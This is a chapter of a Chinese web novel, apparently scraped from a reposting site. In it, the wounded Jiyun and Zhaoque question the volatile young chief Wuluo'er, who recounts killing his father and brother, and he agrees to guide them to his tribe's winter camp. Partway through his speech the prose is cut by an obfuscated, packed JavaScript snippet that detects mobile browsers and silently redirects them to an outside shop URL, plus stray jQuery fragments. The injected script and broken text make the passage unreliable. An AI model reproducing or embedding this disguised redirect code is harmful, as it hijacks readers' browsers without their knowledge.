63.转变

作品:《无尽书

    重阑说话算话,他走后不久,昭鹊便回来了。帐帘被少年掀开,随后,翠微与乌罗儿也一前一后地踏了进来。


    想来是回来时半路遇上的。


    乌罗儿今日的气色比起一月前那阴沉的情状,已是天壤之别。他今日换了一身墨蓝底绣亮边的骑射服,长发束起,眼神也清亮了许多,阴郁暴戾之气也收敛了大半,只是眉宇间惯有的那点倨傲与乖张依旧隐约可见。


    他身后,跟着一身素袍的翠微。


    乌罗儿视线一扫,便落在半靠在毡毯上的既云身上。


    男人的脸色带着失血的苍白,身形因这几日的消耗清减了些,脸颊轮廓更显分明,唇色也淡,透出几分伤后的憔悴,只是眼底却依旧沉静,迎上乌罗儿的视线时,甚至露出了一点儿懒散的笑意。


    “啧,”也不知是什么缘故,乌罗儿自打第一回见着既云便觉得不喜,这一月过去,此番再遇,那份不喜依旧盘踞心头,半分未淡。


    他嘴角一撇,毫不客气地上下打量了既云一番,嘴角勾起一抹带着明显戏谑的弧度,“这才几日不见,既云公子怎地如此……虚弱了?”


    既云心下暗哂,这人醒了倒是精神了,可惜这讨人嫌的性子,还是同初次会面时一般无二。


    他寻常时是懒得在口舌上争高低,不过今日么,反正是闲来无事。


    他缓缓抬起眼,唇角微扬,声音不高又温和,像是没听出对方话中的刺:“有劳少主挂心。我这也不过是些无关紧要的小伤,将养些时日便无碍了。倒是少主……”


    “听闻前些时日身体亦有不适,如今看来是大好了。想必是劳心劳力,这睡得可还安稳?我瞧这性子,似乎还如往常一般直率。翠微姑娘想必照料得极为辛苦,日后还望少主多加体谅才是,莫要总是让她忧心。”


    明面上贬,暗里也贬,这不是说他这样迟早会惹得翠微厌烦,还是什么?


    乌罗儿的脸色瞬间便沉了下来。眉宇间那点清朗差点又要被翻涌的戾气覆盖,像是被踩了尾巴的山猫,一下子炸了毛:“我如何,与翠微如何,轮得到你来置喙?”


    他视线突然地扫过正在一旁安静摆弄茶碗的昭鹊,又落回既云身上,嘴角扯出一个带着邪气的笑,讥诮道,“至少我心有所属,明明白白。总好过某些人,喜好些……上不了台面的路数。”


    话音落下,指向已昭然若揭,帐内一时无声。


    翠微原本正和昭鹊一块儿摆弄着茶碗,闻听此言,猛地起身,眼中满是惊急与窘迫。她不能言语,情急之下,也顾不得礼节,快步走到乌罗儿身边,和他比划起来。


    乌罗儿似是被她面上的怒色吓到了,方才的气势弱下去了几分。


    既云看了他们一眼垂了首,一时间啼笑皆非。于他而言,再多的流言蜚语也不过耳旁风,此等议论更是无需上心。


    可当着昭鹊的面说,那便不可同日而语了。乌罗儿这样轻慢,三言两语将他慎之又慎维系着的情分,轻佻掷于俗目之下评头论足。


    一股冷意自他眼底升起,他薄唇微动,正欲开口,却听一道清凌凌的声音突兀地响起。


    “你这人,怎得这样幼稚?”


    昭鹊停下了手上的动作,抬眼看向闻声望来的几人,既无恼怒,也无羞赧。


    乌罗儿没曾料想昭鹊会出言打断,言辞还这样难听,和既云如出一辙,陡然皱了眉。


    昭鹊才懒得管他什么反应,侧着身子接着道:“你过往经历坎坷,非你所愿,旁人知晓了,心生几分体谅,也是常情。但这世间,并非人人皆是你至亲,更非人人都需迁就于你。”


    他说着扫了边上的翠微一眼,见她已是眼眶微红,也无阻拦之意,“翠微姑娘待你如何,我等外人亦能感受一二。她知晓你的病症,愿意忍让,替你周旋,在你浑噩之时又巧妙布局。此番风骑族内能拨乱反正,若非她在背后耗费心力,你我今日,恐怕未必能安然在此处说话。”


    昭鹊将一边倒好药陶碗送去既云那边,这才完全转过身,正面看向乌罗儿:“你在西边昏迷数日,醒来便是现成的局面。我们是替你收拾了烂摊子,也受了伤,虽不指望感恩戴德,但至少,明面上该有的礼节与态度,总该维持。而非出口伤人,徒惹尴尬。”


    “方才那般言语,二少或不计较,亦又人为你转圜。可若是换了旁人,听了这般不知分寸的肆意妄言,还会留几分颜面?风骑族经此一劫,百废待兴,你身为少主,若连这点容人之量、自持之态都没有,日后如何服众?”


    “难道要永远依靠翠微姑娘在背后为你弥补、替你向人赔罪吗?”


    他一口气说了这许多,自己也有些不适应,转了身坐在毡毯上不再说了。


    见刚刚那明明已经递到人手里的陶碗又被放到了一边,还一口未动,有些疑惑地移目既云,却撞见他眼里促狭的笑意。


    昭鹊不明所以地回望。


    “没笑什么。”既云用二人可闻的声音答道,心里生出些许痒意,想把人拽过来抱一会儿,可惜外人在场,终究是不便。


    他于是收了这念头,转而又没忍住去勾了昭鹊的手,拢在手心里捏了又捏。


    昭鹊记挂着他还是伤员,倒是难得任他抓着没抽手也没别扭,只用眼神示意他喝药。


    乌罗儿被昭鹊一番话刺得哑口无言,脸上青白交错,满心怔忡,那股咄咄逼人的气焰连着心事被戳穿的羞窘,瞬间泄了个干净。


    他不自觉抬眼寻翠微,见她眸中带泪,静静望着自己,又有些狼狈地避开翠微的目光,胸口剧烈起伏了几下,肩膀微微塌了下去。


    过了好半晌,乌罗儿才深吸一口气,再抬起头时,语气颓唐:“……你们想知道什么,问吧。”


    此番态度陡转,虽算不得十足恳切,却也算是收了周身尖刻锋芒,总算有了几分商议正事的模样。


    既云方才的注意力都在昭鹊身上。小鬼大约是有些累了,就安安静静地坐在他面前出着神,随他摆弄。


    想着他以往惜字如金,方才为了维护他,破天荒地说了那么一大通道理来训诫乌罗儿,既云心底便软成了一团,原本因乌罗儿出言不逊生出的恼意,也随着散了。


    他嘴角不自觉地牵起一抹弧度,目光在昭鹊没表情的脸上停留一瞬,才重新转向乌罗儿:“说说你们风骑族冬营地的事情吧。”


    乌罗儿闻言,眼神暗了暗。他沉默片刻,才开口道:“那时的风骑族长……就是那个名义上是我阿爸的,硬要让他的一个蠢货儿子娶翠微。我气不过,就把他杀了。那个蠢货儿子,也一并杀了。”


    他提到此事时,言语里仍藏着压抑不住的戾气,却是一种十分刻意的轻描淡写的语调,仿佛杀的其实只是两头牛羊。


    “后来没过多久,”乌罗儿话及此处,眉头皱起,“河谷的水,就慢慢干了,变得很少。草场也开始大片大片地枯死,牛羊、还有族人,开始莫名其妙地死掉,死状……很惨,皮肉干裂,像是被什么东西抽干了。”


    “族里的萨满跳出来说,是我弑父杀兄,触怒了归川,降下天罚——放他娘的屁!根本是胡言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791236|182802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乱语!那老东西和他儿子早就该死!跟河水干了有什么关系?”


    “我便将那满口胡吣的萨满也杀了。”他突然嗤笑一声,脸上满是不屑与愤懑,“……后面的不必再多说了吧。”


    既云闻言颔首,并未立即开口。乌罗儿这番说辞,与卢佐死前透露的信息大致吻合。对于风骑族内部这些血腥的私怨与秘辛,他们并无深入探究的兴趣。


    此行目的是为查探风骑族有无“枯化”之相,如今虽未直接找到根源,但至少理清了风骑族内部的因果脉络,确认此事与乌罗儿弑亲虽有时序关联,却并非因果,或许还是卢佐想借萨满之手来攻讦乌罗儿为多。


    “原来如此。多谢少主坦言相告。”既云略一沉吟,对乌罗儿道,“既然如此,再过几日,待我等稍作休整,烦请少主安排一位熟悉路径的老练向导,带我等前往冬营地一探究竟。”


    他话音才落,坐在一旁的昭鹊便是一怔,眉头微蹙,张口便要说话——伤势未愈,岂能经得起长途跋涉与未知之地的探查?


    既云却仿佛早已料到他的反应,转向他,唇角带笑,抢在他之前开口,带着些许戏谑道:“再躺下去,人都要废了。”


    这话出口,昭鹊旋即便想起这是初来风骑族时,自己病后嫌整日躺着烦闷,对着既云说的原话。


    此刻被既云一字不差地拿来堵他,顿时语塞,张了张嘴,看了眼既云那带着调侃的视线,一时又想不出合适的话来反驳,只得将未出口的劝阻咽了回去,只是眉头依旧蹙着,显然并不认可。


    岂料乌罗儿突然间开口:“无需再安排向导,我陪同二位前去冬季营地查看。”


    这是与先前的乖张截然不同的沉稳。


    转变过于突兀,莫说昭鹊,连既云都有些意外。


    却见乌罗儿脸上的张扬与戾气已然收敛殆尽,虽仍带着几分固有的孤高,但眼神清明,语气也算得上诚恳。他顿了顿,补充道:“夫人先前便与我说好了此事。方才是我言语无状,多有得罪,二位见谅。”


    方才看着还像是神智未全清醒,带着股不管不顾的疯劲,此刻却显得通情达理,仿佛瞬间换了一个人。


    饶是他们二人知晓乌罗儿心智受损,行为情绪变换难以常理度之,也觉得十分怪异。


    既云疑虑之余只觉翠微实在不是一般人。他压下心中所想,只微微颔首:“既然少主愿意亲自前往,那自是再好不过。待我等准备妥当,再与少主约定具体时日。”


    乌罗儿点了点头,两人也不再停留,向既云微一示意,便离开了帐篷。


    昭鹊见人走了,立刻转过头:“你……”


    他才开了个头,后变劝阻的话还没来得及出口,既云却忽得攥紧了他的手腕,将人往自己这边一带。


    昭鹊猝不及防,被他扯得一个趔趄坐不稳,整个人便被既云揽入了怀中。


    他的下巴有点重地磕在了既云未受伤的那侧肩窝里,鼻尖旋即便绕起对方身上清苦的药草气息,不好闻,但是怪叫人心安的。


    昭鹊僵了一瞬,脑子里空白了片刻,才后知后觉地反应过来,怎么又被抱了。


    他不自觉地想,怎么老是动不动就抱,光今日就已好几回了。之前那回是河边,现在又是在帐子里,还总是抱得还这样紧,他又不会跑……


    心里犯着嘀咕着,他虽然没推人,却越想越有种被突袭的恼意——总是这样,既云想抱便抱了,想亲便亲了,他每次都来不及说什么。


    昭鹊于是眨了眨眼,心道日后不能再这样下去了。